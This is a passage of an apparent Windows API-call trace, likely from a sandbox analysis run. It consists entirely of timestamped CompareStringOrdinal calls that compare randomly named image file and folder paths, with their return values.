lpString2="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\mwTl5gGRtX.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="xuzEq3zwZkPG", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="UrPVXySoY.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.903] CompareStringOrdinal (lpString1="UrPVXySoY.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.903] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="6so3uw\\c0kYrk2r.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\G StNxmi.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\RIcQ1EmpXOwuZfKzm7T.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\23KKWJn4X.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="xuzEq3zwZkPG", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="UrPVXySoY.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="UrPVXySoY.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="UrPVXySoY.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="UrPVXySoY.jpg", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\y_NnvZ hOSogKdF.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="HoZdmtHokVR3Wl.jpg", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="6so3uw\\F6rd1F-UBg20OJcO.bmp", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="xuzEq3zwZkPG", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="xuzEq3zwZkPG", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="UrPVXySoY.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="UrPVXySoY.jpg", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="HoZdmtHokVR3Wl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="6so3uw\\kSdj3VO3TR7ki6gTEs.gif", cchCount1=-1, lpString2="Itucwf.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="Itucwf.jpg", cchCount1=-1, lpString2="4Vw2ygLPEu-Maci0qp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="UrPVXySoY.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="UrPVXySoY.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\zTrGUpS5uq YgUIf.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.904] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\u_fq38hVgFy.png", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="FF-GXA22K-J\\qe4w BUBvbI.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="6so3uw\\c0kYrk2r.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\PSQZiwIN8uJzzTdjOFX.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa\\pQzU4fgJS_VJhSEBB.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD\\dn2lN2aa", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\aEAx1CrFMianQavi.jpg", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\JzMMZnM0QB06bugb_OB.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\FKAF idlRz23ptJ2k-O.bmp", cchCount1=-1, lpString2="6so3uw", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\o7iZDtChRQGlm.png", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\UqtyoyIZxKksp3kD", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="m6NzXvQi8lk.jpg", cchCount1=-1, lpString2="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.905] CompareStringOrdinal (lpString1="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\Ni-WplZKUKZ.gif", cchCount1=-1, lpString2="6so3uw\\9Cnbfi2a\\B5WGJFxuORhJIbLXl.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.905] CompareStringOrdinal (lpString1="FF-GXA22K-J\\TXT2nL.jpg", 